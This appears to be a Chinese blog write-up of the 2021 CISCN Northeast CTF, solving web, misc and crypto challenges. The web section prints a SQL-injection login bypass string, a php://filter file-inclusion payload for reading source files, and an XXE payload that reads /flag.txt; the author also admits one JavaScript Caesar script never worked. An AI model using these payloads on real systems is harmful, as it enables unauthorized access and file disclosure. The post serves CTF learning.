比赛名称:
2021CISCN - 东北赛区

比赛考点:

  • 维吉尼亚密钥爆破
  • php 伪协议
  • sql 注入
  • XXE 攻击
  • CRC 爆破宽高
  • 文件头修复

# web

# 1. 简单的注入

使用万能密码,登录后台,得到 flag。

账号 admin

密码 ‘^(1)=(1)#

# 2.Be_Careful

先读取 index.php 的文件

?file=php://filter/read=convert.base64-encode/resource=index.php

在尾部发现了 real_flag.php,之后再读取 real_flag.php

?file=php://filter/read=convert.base64-encode/resource= real_flag.php

所以将 number 的数转 16 进制

Payload:

url/real_flag.php?a=0x10324a6ae2

# 3.flagin

XXE 攻击

直接打

<!DOCTYPE ANY [
    <!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=/flag.txt"
]>
<user><username>&test;</username><password>123</password></user>

原题链接:https://www.cnblogs.com/tqing/p/11852412.html

# MISC

# 1. 签到

给个二维码,扫一下就是 flag

# 2.FlanPng

CRC 爆破宽高,跑完就能得到 flag

import binascii
import struct
import sys
file = input("图片地址:")
fr = open(file,'rb').read()
data = bytearray(fr[0x0c:0x1d])
crc32key = eval('0x'+str(binascii.b2a_hex(fr[0x1d:0x21]))[2:-1])
#原来的代码: crc32key = eval (str (fr [29:33]).replace ('\\x','').replace ("b'",'0x').replace ("'",''))
n = 4095
for w in range(n):
    width = bytearray(struct.pack('>i', w))
    for h in range(n):
        height = bytearray(struct.pack('>i', h))
        for x in range(4):
            data[x+4] = width[x]
            data[x+8] = height[x]
        crc32result = binascii.crc32(data) & 0xffffffff
        if crc32result == crc32key:
            print(width,height)
            newpic = bytearray(fr)
            for x in range(4):
                newpic[x+16] = width[x]
                newpic[x+20] = height[x]
            fw = open(file+'.png','wb')
            fw.write(newpic)
            fw.close
            sys.exit()

# 3.huahua

补文件头,修复 png 头,然后 crc 爆破宽高

(crc 脚本在上面)

# 4.sudoku

解数独,对角线为压缩包密文

事实上:直接爆破 9 位数字密码,就解开压缩包了

# 5.Vigenère

爆破密钥,然后 md5 提交即可。

image-20210617194609455

# crypto

# 1.Sign me up

一大串编码,看到后面 ==,一直进行 base64 解码得到 flag

# 2.easy_caesar

凯撒,unicode 凯撒密码爆破

strln = "怦恺恮恫怦恗恴悁恴怵恲恾恼恴悂怳悃恷恴恬悄恽恀恲怿恳恴怽恪恵恀恐恶恀悂悊恂恲恂恱恇恂恁恁恇恆恰恄恄恆恇恱恂恄恀恀恵恲恳恆恃恇恅恵恃恴恵恈悌怵怴恞怲怲怴怵恟怰怲怮怮恣恠恡怴怱怵怳"
for (offset = -65535;offset <65000;offset++){
    var strOut="";
    var newstr="" ;
    for(var i=0;i<strln.length;i++){
        newstr=strln.charCodeAt(i);
        if(newstr==13)
        strOut+="\r";
        else if(newstr==10)
        strOut+=" ";
        else
        strOut+=String.fromCharCode(strln.charCodeAt(i)+offset);
    }


    console.log(strOut)
}

这个脚本没有复现成功,不知道是不是脚本问题,希望大师傅们能留言教教。

# 3.ciphertext

Ook 编码解出是 flag {fd62371a16e34b

Brainfuck 编码解出是 4236af4c815c70d2c2}

将两段组合起来即为 flag

# 4.superman

解开,一个 png,头有问题,修复一下,获得图片image-21

直接 010 拉到最下,获得密文

U2FsdGVkX183lRElTLLADdk5IuMJH7LkLIyITIxXFSBsTbEI8TnmabzF6BTvpoRUHCSc7tprlyVqpBX8bCaN833NjMzk0yRXFJNlNBimahWrja++4RwE8/BllIrnHI6eFXk4ZcUEptAJV7OYJkLkdg==

以 iamback 作为密钥,AES 解密两次获得 flag。

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

zeroc 微信支付

微信支付

zeroc 支付宝

支付宝

zeroc 贝宝

贝宝